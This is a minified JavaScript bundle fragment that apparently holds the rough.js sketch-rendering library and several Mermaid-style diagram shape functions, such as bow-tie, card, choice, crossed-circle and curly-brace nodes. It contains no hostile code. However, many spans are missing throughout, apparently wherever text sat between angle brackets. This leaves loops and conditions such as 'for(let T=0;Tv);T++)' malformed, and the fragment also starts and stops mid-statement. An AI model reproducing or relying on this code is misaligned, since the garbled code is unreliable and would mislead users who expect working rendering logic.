b=-1;for(let T=0;Tv);T++)b=T;g.splice(0,b+1).forEach((T=>{y.push({s:v,edge:T})}))}if(y=y.filter((b=>!(b.edge.ymax<=v))),y.sort(((b,T)=>b.edge.x===T.edge.x?0:(b.edge.x-T.edge.x)/Math.abs(b.edge.x-T.edge.x))),(d!==1||x%f==0)&&y.length>1)for(let b=0;b=y.length)break;let S=y[b].edge,w=y[T].edge;m.push([[Math.round(S.x),v],[Math.round(w.x),v]])}v+=d,y.forEach((b=>{b.edge.x=b.edge.x+d*b.edge.islope})),x++}return m})(s,a,n);if(i){for(let h of s)C9(h,l,-i);(function(h,f,d){let p=[];h.forEach((m=>p.push(...m))),C9(p,f,d)})(u,l,-i)}return u}function N2(t,e){var r;let n=e.hachureAngle+90,i=e.hachureGap;i<0&&(i=4*e.strokeWidth),i=Math.round(Math.max(i,.1));let a=1;return e.roughness>=1&&(((r=e.randomizer)===null||r===void 0?void 0:r.next())||Math.random())>.7&&(a=i),rRe(t,i,n,a||1)}function nw(t){let e=t[0],r=t[1];return Math.sqrt(Math.pow(e[0]-r[0],2)+Math.pow(e[1]-r[1],2))}function _9(t,e){return t.type===e}function V9(t){let e=[],r=(function(s){let l=new Array;for(;s!=="";)if(s.match(/^([ \t\r\n,]+)/))s=s.substr(RegExp.$1.length);else if(s.match(/^([aAcChHlLmMqQsStTvVzZ])/))l[l.length]={type:nRe,text:RegExp.$1},s=s.substr(RegExp.$1.length);else{if(!s.match(/^(([-+]?[0-9]+(\.[0-9]*)?|[-+]?\.[0-9]+)([eE][-+]?[0-9]+)?)/))return[];l[l.length]={type:A9,text:`${parseFloat(RegExp.$1)}`},s=s.substr(RegExp.$1.length)}return l[l.length]={type:rJ,text:""},l})(t),n="BOD",i=0,a=r[i];for(;!_9(a,rJ);){let s=0,l=[];if(n==="BOD"){if(a.text!=="M"&&a.text!=="m")return V9("M0,0"+t);i++,s=jT[a.text],n=a.text}else _9(a,A9)?s=jT[n]:(i++,s=jT[a.text],n=a.text);if(!(i+sf%2?h+r:h+e));a.push({key:"C",data:u}),e=u[4],r=u[5];break}case"Q":a.push({key:"Q",data:[...l]}),e=l[2],r=l[3];break;case"q":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"Q",data:u}),e=u[2],r=u[3];break}case"A":a.push({key:"A",data:[...l]}),e=l[5],r=l[6];break;case"a":e+=l[5],r+=l[6],a.push({key:"A",data:[l[0],l[1],l[2],l[3],l[4],e,r]});break;case"H":a.push({key:"H",data:[...l]}),e=l[0];break;case"h":e+=l[0],a.push({key:"H",data:[e]});break;case"V":a.push({key:"V",data:[...l]}),r=l[0];break;case"v":r+=l[0],a.push({key:"V",data:[r]});break;case"S":a.push({key:"S",data:[...l]}),e=l[2],r=l[3];break;case"s":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"S",data:u}),e=u[2],r=u[3];break}case"T":a.push({key:"T",data:[...l]}),e=l[0],r=l[1];break;case"t":e+=l[0],r+=l[1],a.push({key:"T",data:[e,r]});break;case"Z":case"z":a.push({key:"Z",data:[]}),e=n,r=i}return a}function hJ(t){let e=[],r="",n=0,i=0,a=0,s=0,l=0,u=0;for(let{key:h,data:f}of t){switch(h){case"M":e.push({key:"M",data:[...f]}),[n,i]=f,[a,s]=f;break;case"C":e.push({key:"C",data:[...f]}),n=f[4],i=f[5],l=f[2],u=f[3];break;case"L":e.push({key:"L",data:[...f]}),[n,i]=f;break;case"H":n=f[0],e.push({key:"L",data:[n,i]});break;case"V":i=f[0],e.push({key:"L",data:[n,i]});break;case"S":{let d=0,p=0;r==="C"||r==="S"?(d=n+(n-l),p=i+(i-u)):(d=n,p=i),e.push({key:"C",data:[d,p,...f]}),l=f[0],u=f[1],n=f[2],i=f[3];break}case"T":{let[d,p]=f,m=0,g=0;r==="Q"||r==="T"?(m=n+(n-l),g=i+(i-u)):(m=n,g=i);let y=n+2*(m-n)/3,v=i+2*(g-i)/3,x=d+2*(m-d)/3,b=p+2*(g-p)/3;e.push({key:"C",data:[y,v,x,b,d,p]}),l=m,u=g,n=d,i=p;break}case"Q":{let[d,p,m,g]=f,y=n+2*(d-n)/3,v=i+2*(p-i)/3,x=m+2*(d-m)/3,b=g+2*(p-g)/3;e.push({key:"C",data:[y,v,x,b,m,g]}),l=d,u=p,n=m,i=g;break}case"A":{let d=Math.abs(f[0]),p=Math.abs(f[1]),m=f[2],g=f[3],y=f[4],v=f[5],x=f[6];d===0||p===0?(e.push({key:"C",data:[n,i,v,x,v,x]}),n=v,i=x):(n!==v||i!==x)&&(fJ(n,i,v,x,d,p,m,g,y).forEach((function(b){e.push({key:"C",data:b})})),n=v,i=x);break}case"Z":e.push({key:"Z",data:[]}),n=a,i=s}r=h}return e}function D2(t,e,r){return[t*Math.cos(r)-e*Math.sin(r),t*Math.sin(r)+e*Math.cos(r)]}function fJ(t,e,r,n,i,a,s,l,u,h){let f=(d=s,Math.PI*d/180);var d;let p=[],m=0,g=0,y=0,v=0;if(h)[m,g,y,v]=h;else{[t,e]=D2(t,e,-f),[r,n]=D2(r,n,-f);let D=(t-r)/2,_=(e-n)/2,O=D*D/(i*i)+_*_/(a*a);O>1&&(O=Math.sqrt(O),i*=O,a*=O);let M=i*i,P=a*a,B=M*P-M*_*_-P*D*D,F=M*_*_+P*D*D,G=(l===u?-1:1)*Math.sqrt(Math.abs(B/F));y=G*i*_/a+(t+r)/2,v=G*-a*D/i+(e+n)/2,m=Math.asin(parseFloat(((e-v)/a).toFixed(9))),g=Math.asin(parseFloat(((n-v)/a).toFixed(9))),tg&&(m-=2*Math.PI),!u&&g>m&&(g-=2*Math.PI)}let x=g-m;if(Math.abs(x)>120*Math.PI/180){let D=g,_=r,O=n;g=u&&g>m?m+120*Math.PI/180*1:m+120*Math.PI/180*-1,p=fJ(r=y+i*Math.cos(g),n=v+a*Math.sin(g),_,O,i,a,s,0,u,[g,D,y,v])}x=g-m;let b=Math.cos(m),T=Math.sin(m),S=Math.cos(g),w=Math.sin(g),k=Math.tan(x/4),A=4/3*i*k,C=4/3*a*k,R=[t,e],I=[t+A*T,e-C*b],L=[r+A*w,n-C*S],E=[r,n];if(I[0]=2*R[0]-I[0],I[1]=2*R[1]-I[1],h)return[I,L,E].concat(p);{p=[I,L,E].concat(p);let D=[];for(let _=0;_2){let i=[];for(let a=0;a2*Math.PI&&(m=0,g=2*Math.PI);let y=2*Math.PI/u.curveStepCount,v=Math.min(y/2,(g-m)/2),x=lJ(v,h,f,d,p,m,g,1,u);if(!u.disableMultiStroke){let b=lJ(v,h,f,d,p,m,g,1.5,u);x.push(...b)}return s&&(l?x.push(...Zh(h,f,h+d*Math.cos(m),f+p*Math.sin(m),u),...Zh(h,f,h+d*Math.cos(g),f+p*Math.sin(g),u)):x.push({op:"lineTo",data:[h,f]},{op:"lineTo",data:[h+d*Math.cos(m),f+p*Math.sin(m)]})),{type:"path",ops:x}}function aJ(t,e){let r=hJ(uJ(V9(t))),n=[],i=[0,0],a=[0,0];for(let{key:s,data:l}of r)switch(s){case"M":a=[l[0],l[1]],i=[l[0],l[1]];break;case"L":n.push(...Zh(a[0],a[1],l[0],l[1],e)),a=[l[0],l[1]];break;case"C":{let[u,h,f,d,p,m]=l;n.push(...sRe(u,h,f,d,p,m,a,e)),a=[p,m];break}case"Z":n.push(...Zh(a[0],a[1],i[0],i[1],e)),a=[i[0],i[1]]}return{type:"path",ops:n}}function D9(t,e){let r=[];for(let n of t)if(n.length){let i=e.maxRandomnessOffset||0,a=n.length;if(a>2){r.push({op:"move",data:[n[0][0]+or(i,e),n[0][1]+or(i,e)]});for(let s=1;s500?.4:-.0016668*u+1.233334;let f=i.maxRandomnessOffset||0;f*f*100>l&&(f=u/10);let d=f/2,p=.2+.2*mJ(i),m=i.bowing*i.maxRandomnessOffset*(n-e)/200,g=i.bowing*i.maxRandomnessOffset*(t-r)/200;m=or(m,i,h),g=or(g,i,h);let y=[],v=o(()=>or(d,i,h),"M"),x=o(()=>or(f,i,h),"k"),b=i.preserveVertices;return a&&(s?y.push({op:"move",data:[t+(b?0:v()),e+(b?0:v())]}):y.push({op:"move",data:[t+(b?0:or(f,i,h)),e+(b?0:or(f,i,h))]})),s?y.push({op:"bcurveTo",data:[m+t+(r-t)*p+v(),g+e+(n-e)*p+v(),m+t+2*(r-t)*p+v(),g+e+2*(n-e)*p+v(),r+(b?0:v()),n+(b?0:v())]}):y.push({op:"bcurveTo",data:[m+t+(r-t)*p+x(),g+e+(n-e)*p+x(),m+t+2*(r-t)*p+x(),g+e+2*(n-e)*p+x(),r+(b?0:x()),n+(b?0:x())]}),y}function KT(t,e,r){if(!t.length)return[];let n=[];n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]),n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]);for(let i=1;i3){let a=[],s=1-r.curveTightness;i.push({op:"move",data:[t[1][0],t[1][1]]});for(let l=1;l+21&&i.push(l)):i.push(l),i.push(t[e+3])}else{let u=t[e+0],h=t[e+1],f=t[e+2],d=t[e+3],p=Qd(u,h,.5),m=Qd(h,f,.5),g=Qd(f,d,.5),y=Qd(p,m,.5),v=Qd(m,g,.5),x=Qd(y,v,.5);$9([u,p,y,x],0,r,i),$9([x,v,g,d],0,r,i)}var a,s;return i}function lRe(t,e){return rw(t,0,t.length,e)}function rw(t,e,r,n,i){let a=i||[],s=t[e],l=t[r-1],u=0,h=1;for(let f=e+1;fu&&(u=d,h=f)}return Math.sqrt(u)>n?(rw(t,e,h+1,n,a),rw(t,h,r,n,a)):(a.length||a.push(s),a.push(l)),a}function L9(t,e=.15,r){let n=[],i=(t.length-1)/3;for(let a=0;a0?rw(n,0,n.length,r):n}var R2,R9,N9,M9,I9,O9,Ps,P9,nRe,A9,rJ,jT,iRe,co,Em,z9,QT,G9,Ze,Ht=N(()=>{"use strict";o(C9,"t");o(tRe,"e");o(rRe,"s");o(N2,"n");R2=class{static{o(this,"o")}constructor(e){this.helper=e}fillPolygons(e,r){return this._fillPolygons(e,r)}_fillPolygons(e,r){let n=N2(e,r);return{type:"fillSketch",ops:this.renderLines(n,r)}}renderLines(e,r){let n=[];for(let i of e)n.push(...this.helper.doubleLineOps(i[0][0],i[0][1],i[1][0],i[1][1],r));return n}};o(nw,"a");R9=class extends R2{static{o(this,"h")}fillPolygons(e,r){let n=r.hachureGap;n<0&&(n=4*r.strokeWidth),n=Math.max(n,.1);let i=N2(e,Object.assign({},r,{hachureGap:n})),a=Math.PI/180*r.hachureAngle,s=[],l=.5*n*Math.cos(a),u=.5*n*Math.sin(a);for(let[h,f]of i)nw([h,f])&&s.push([[h[0]-l,h[1]+u],[...f]],[[h[0]+l,h[1]-u],[...f]]);return{type:"fillSketch",ops:this.renderLines(s,r)}}},N9=class extends R2{static{o(this,"r")}fillPolygons(e,r){let n=this._fillPolygons(e,r),i=Object.assign({},r,{hachureAngle:r.hachureAngle+90}),a=this._fillPolygons(e,i);return n.ops=n.ops.concat(a.ops),n}},M9=class{static{o(this,"i")}constructor(e){this.helper=e}fillPolygons(e,r){let n=N2(e,r=Object.assign({},r,{hachureAngle:0}));return this.dotsOnLines(n,r)}dotsOnLines(e,r){let n=[],i=r.hachureGap;i<0&&(i=4*r.strokeWidth),i=Math.max(i,.1);let a=r.fillWeight;a<0&&(a=r.strokeWidth/2);let s=i/4;for(let l of e){let u=nw(l),h=u/i,f=Math.ceil(h)-1,d=u-f*i,p=(l[0][0]+l[1][0])/2-i/4,m=Math.min(l[0][1],l[1][1]);for(let g=0;g{let l=nw(s),u=Math.floor(l/(n+i)),h=(l+i-u*(n+i))/2,f=s[0],d=s[1];f[0]>d[0]&&(f=s[1],d=s[0]);let p=Math.atan((d[1]-f[1])/(d[0]-f[0]));for(let m=0;m{let s=nw(a),l=Math.round(s/(2*r)),u=a[0],h=a[1];u[0]>h[0]&&(u=a[1],h=a[0]);let f=Math.atan((h[1]-u[1])/(h[0]-u[0]));for(let d=0;d2*Math.PI&&(A=0,C=2*Math.PI);let R=(C-A)/b.curveStepCount,I=[];for(let L=A;L<=C;L+=R)I.push([T+w*Math.cos(L),S+k*Math.sin(L)]);return I.push([T+w*Math.cos(C),S+k*Math.sin(C)]),I.push([T,S]),km([I],b)})(e,r,n,i,a,s,h));return h.stroke!==co&&f.push(d),this._d("arc",f,h)}curve(e,r){let n=this._o(r),i=[],a=nJ(e,n);if(n.fill&&n.fill!==co)if(n.fillStyle==="solid"){let s=nJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(s.ops)})}else{let s=[],l=e;if(l.length){let u=typeof l[0][0]=="number"?[l]:l;for(let h of u)h.length<3?s.push(...h):h.length===3?s.push(...L9(cJ([h[0],h[0],h[1],h[2]]),10,(1+n.roughness)/2)):s.push(...L9(cJ(h),10,(1+n.roughness)/2))}s.length&&i.push(km([s],n))}return n.stroke!==co&&i.push(a),this._d("curve",i,n)}polygon(e,r){let n=this._o(r),i=[],a=ZT(e,!0,n);return n.fill&&(n.fillStyle==="solid"?i.push(D9([e],n)):i.push(km([e],n))),n.stroke!==co&&i.push(a),this._d("polygon",i,n)}path(e,r){let n=this._o(r),i=[];if(!e)return this._d("path",i,n);e=(e||"").replace(/\n/g," ").replace(/(-\s)/g,"-").replace("/(ss)/g"," ");let a=n.fill&&n.fill!=="transparent"&&n.fill!==co,s=n.stroke!==co,l=!!(n.simplification&&n.simplification<1),u=(function(f,d,p){let m=hJ(uJ(V9(f))),g=[],y=[],v=[0,0],x=[],b=o(()=>{x.length>=4&&y.push(...L9(x,d)),x=[]},"i"),T=o(()=>{b(),y.length&&(g.push(y),y=[])},"c");for(let{key:w,data:k}of m)switch(w){case"M":T(),v=[k[0],k[1]],y.push(v);break;case"L":b(),y.push([k[0],k[1]]);break;case"C":if(!x.length){let A=y.length?y[y.length-1]:v;x.push([A[0],A[1]])}x.push([k[0],k[1]]),x.push([k[2],k[3]]),x.push([k[4],k[5]]);break;case"Z":b(),y.push([v[0],v[1]])}if(T(),!p)return g;let S=[];for(let w of g){let k=lRe(w,p);k.length&&S.push(k)}return S})(e,1,l?4-4*(n.simplification||1):(1+n.roughness)/2),h=aJ(e,n);if(a)if(n.fillStyle==="solid")if(u.length===1){let f=aJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(f.ops)})}else i.push(D9(u,n));else i.push(km(u,n));return s&&(l?u.forEach((f=>{i.push(ZT(f,!1,n))})):i.push(h)),this._d("path",i,n)}opsToPath(e,r){let n="";for(let i of e.ops){let a=typeof r=="number"&&r>=0?i.data.map((s=>+s.toFixed(r))):i.data;switch(i.op){case"move":n+=`M${a[0]} ${a[1]} `;break;case"bcurveTo":n+=`C${a[0]} ${a[1]}, ${a[2]} ${a[3]}, ${a[4]} ${a[5]} `;break;case"lineTo":n+=`L${a[0]} ${a[1]} `}}return n.trim()}toPaths(e){let r=e.sets||[],n=e.options||this.defaultOptions,i=[];for(let a of r){let s=null;switch(a.type){case"path":s={d:this.opsToPath(a),stroke:n.stroke,strokeWidth:n.strokeWidth,fill:co};break;case"fillPath":s={d:this.opsToPath(a),stroke:co,strokeWidth:0,fill:n.fill||co};break;case"fillSketch":s=this.fillSketch(a,n)}s&&i.push(s)}return i}fillSketch(e,r){let n=r.fillWeight;return n<0&&(n=r.strokeWidth/2),{d:this.opsToPath(e),stroke:r.fill||co,strokeWidth:n,fill:co}}_mergedShape(e){return e.filter(((r,n)=>n===0||r.op!=="move"))}},z9=class{static{o(this,"st")}constructor(e,r){this.canvas=e,this.ctx=this.canvas.getContext("2d"),this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.ctx,a=e.options.fixedDecimalPlaceDigits;for(let s of r)switch(s.type){case"path":i.save(),i.strokeStyle=n.stroke==="none"?"transparent":n.stroke,i.lineWidth=n.strokeWidth,n.strokeLineDash&&i.setLineDash(n.strokeLineDash),n.strokeLineDashOffset&&(i.lineDashOffset=n.strokeLineDashOffset),this._drawToContext(i,s,a),i.restore();break;case"fillPath":{i.save(),i.fillStyle=n.fill||"";let l=e.shape==="curve"||e.shape==="polygon"||e.shape==="path"?"evenodd":"nonzero";this._drawToContext(i,s,a,l),i.restore();break}case"fillSketch":this.fillSketch(i,s,n)}}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2),e.save(),n.fillLineDash&&e.setLineDash(n.fillLineDash),n.fillLineDashOffset&&(e.lineDashOffset=n.fillLineDashOffset),e.strokeStyle=n.fill||"",e.lineWidth=i,this._drawToContext(e,r,n.fixedDecimalPlaceDigits),e.restore()}_drawToContext(e,r,n,i="nonzero"){e.beginPath();for(let a of r.ops){let s=typeof n=="number"&&n>=0?a.data.map((l=>+l.toFixed(n))):a.data;switch(a.op){case"move":e.moveTo(s[0],s[1]);break;case"bcurveTo":e.bezierCurveTo(s[0],s[1],s[2],s[3],s[4],s[5]);break;case"lineTo":e.lineTo(s[0],s[1])}}r.type==="fillPath"?e.fill(i):e.stroke()}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s),s}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s),s}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s),s}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a),a}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n),n}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n),n}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h),h}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n),n}path(e,r){let n=this.gen.path(e,r);return this.draw(n),n}},QT="http://www.w3.org/2000/svg",G9=class{static{o(this,"ot")}constructor(e,r){this.svg=e,this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.svg.ownerDocument||window.document,a=i.createElementNS(QT,"g"),s=e.options.fixedDecimalPlaceDigits;for(let l of r){let u=null;switch(l.type){case"path":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke",n.stroke),u.setAttribute("stroke-width",n.strokeWidth+""),u.setAttribute("fill","none"),n.strokeLineDash&&u.setAttribute("stroke-dasharray",n.strokeLineDash.join(" ").trim()),n.strokeLineDashOffset&&u.setAttribute("stroke-dashoffset",`${n.strokeLineDashOffset}`);break;case"fillPath":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke","none"),u.setAttribute("stroke-width","0"),u.setAttribute("fill",n.fill||""),e.shape!=="curve"&&e.shape!=="polygon"||u.setAttribute("fill-rule","evenodd");break;case"fillSketch":u=this.fillSketch(i,l,n)}u&&a.appendChild(u)}return a}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2);let a=e.createElementNS(QT,"path");return a.setAttribute("d",this.opsToPath(r,n.fixedDecimalPlaceDigits)),a.setAttribute("stroke",n.fill||""),a.setAttribute("stroke-width",i+""),a.setAttribute("fill","none"),n.fillLineDash&&a.setAttribute("stroke-dasharray",n.fillLineDash.join(" ").trim()),n.fillLineDashOffset&&a.setAttribute("stroke-dashoffset",`${n.fillLineDashOffset}`),a}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}opsToPath(e,r){return this.gen.opsToPath(e,r)}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s)}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s)}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s)}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a)}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n)}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n)}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h)}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n)}path(e,r){let n=this.gen.path(e,r);return this.draw(n)}},Ze={canvas:o((t,e)=>new z9(t,e),"canvas"),svg:o((t,e)=>new G9(t,e),"svg"),generator:o(t=>new Em(t),"generator"),newSeed:o(()=>Em.newSeed(),"newSeed")}});function gJ(t,e){let{labelStyles:r}=je(e);e.labelStyle=r;let n=st(e),i=n;n||(i="anchor");let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=1,{cssStyles:l}=e,u=Ze.svg(a),h=Je(e,{fill:"black",stroke:"none",fillStyle:"solid"});e.look!=="handDrawn"&&(h.roughness=0);let f=u.circle(0,0,s*2,h),d=a.insert(()=>f,":first-child");return d.attr("class","anchor").attr("style",Cn(l)),Qe(e,d),e.intersect=function(p){return X.info("Circle intersect",e,s,p),Xe.circle(e,s,p)},a}var yJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(gJ,"anchor")});function vJ(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function xJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding+20,l=a.height+e.padding,u=l/2,h=u/(2.5+l/50),{cssStyles:f}=e,d=[{x:s/2,y:-l/2},{x:-s/2,y:-l/2},...vJ(-s/2,-l/2,-s/2,l/2,h,u,!1),{x:s/2,y:l/2},...vJ(s/2,l/2,s/2,-l/2,h,u,!0)],p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(d),y=p.path(g,m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(${h/2}, 0)`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,d,x)},i}var bJ=N(()=>{"use strict";It();Ut();$t();Ht();o(vJ,"generateArcPoints");o(xJ,"bowTieRect")});function Bs(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Jh=N(()=>{"use strict";o(Bs,"insertPolygonShape")});async function TJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=12,u=a.width+e.padding+l,h=0,f=u,d=-s,p=0,m=[{x:h+l,y:d},{x:f,y:d},{x:f,y:p},{x:h,y:p},{x:h,y:d+l},{x:h+l,y:d}],g,{cssStyles:y}=e;if(e.look==="handDrawn"){let v=Ze.svg(i),x=Je(e,{}),b=Vt(m),T=v.path(b,x);g=i.insert(()=>T,":first-child").attr("transform",`translate(${-u/2}, ${s/2})`),y&&g.attr("style",y)}else g=Bs(i,u,s,m);return n&&g.attr("style",n),Qe(e,g),e.intersect=function(v){return Xe.polygon(e,m,v)},i}var wJ=N(()=>{"use strict";It();Ut();$t();Ht();Jh();It();o(TJ,"card")});function kJ(t,e){let{nodeStyles:r}=je(e);e.label="";let n=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:i}=e,a=Math.max(28,e.width??0),s=[{x:0,y:a/2},{x:a/2,y:0},{x:0,y:-a/2},{x:-a/2,y:0}],l=Ze.svg(n),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=Vt(s),f=l.path(h,u),d=n.insert(()=>f,":first-child");return i&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",i),r&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",r),e.width=28,e.height=28,e.intersect=function(p){return Xe.polygon(e,s,p)},n}var EJ=N(()=>{"use strict";Ut();Ht();$t();It();o(kJ,"choice")});async function iw(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s,halfPadding:l}=await ut(t,e,st(e)),u=r?.padding??l,h=s.width/2+u,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(a),m=Je(e,{}),g=p.circle(0,0,h*2,m);f=a.insert(()=>g,":first-child"),f.attr("class","basic label-container").attr("style",Cn(d))}else f=a.insert("circle",":first-child").attr("class","basic label-container").attr("style",i).attr("r",h).attr("cx",0).attr("cy",0);return Qe(e,f),e.calcIntersect=function(p,m){let g=p.width/2;return Xe.circle(p,g,m)},e.intersect=function(p){return X.info("Circle intersect",e,h,p),Xe.circle(e,h,p)},a}var U9=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(iw,"circle")});function cRe(t){let e=Math.cos(Math.PI/4),r=Math.sin(Math.PI/4),n=t*2,i={x:n/2*e,y:n/2*r},a={x:-(n/2)*e,y:n/2*r},s={x:-(n/2)*e,y:-(n/2)*r},l={x:n/2*e,y:-(n/2)*r};return`M ${a.x},${a.y} L ${l.x},${l.y} + M ${i.x},${i.y} L ${s.x},${s.y}`}function SJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r,e.label="";let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),a=Math.max(30,e?.width??0),{cssStyles:s}=e,l=Ze.svg(i),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=l.circle(0,0,a*2,u),f=cRe(a),d=l.path(f,u),p=i.insert(()=>h,":first-child");return p.insert(()=>d),s&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",s),n&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",n),Qe(e,p),e.intersect=function(m){return X.info("crossedCircle intersect",e,{radius:a,point:m}),Xe.circle(e,a,m)},i}var CJ=N(()=>{"use strict";pt();It();$t();Ht();Ut();o(cRe,"createLine");o(SJ,"crossedCircle")});function ef(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${h}, 0)`),s.attr("transform",`translate(${-l/2+h-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var _J=N(()=>{"use strict";It();Ut();$t();Ht();o(ef,"generateCirclePoints");o(AJ,"curlyBraceLeft")});function tf(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${-h}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var LJ=N(()=>{"use strict";It();Ut();$t();Ht();o(tf,"generateCirclePoints");o(DJ,"curlyBraceRight")});function Oa(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dA,":first-child").attr("stroke-opacity",0),C.insert(()=>b,":first-child"),C.insert(()=>w,":first-child"),C.attr("class","text"),f&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(${h-h/4}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,m,R)},i}var NJ=N(()=>{"use strict";It();Ut();$t();Ht();o(Oa,"generateCirclePoints");o(RJ,"curlyBraces")});async function MJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=80,l=20,u=Math.max(s,(a.width+(e.padding??0)*2)*1.25,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let 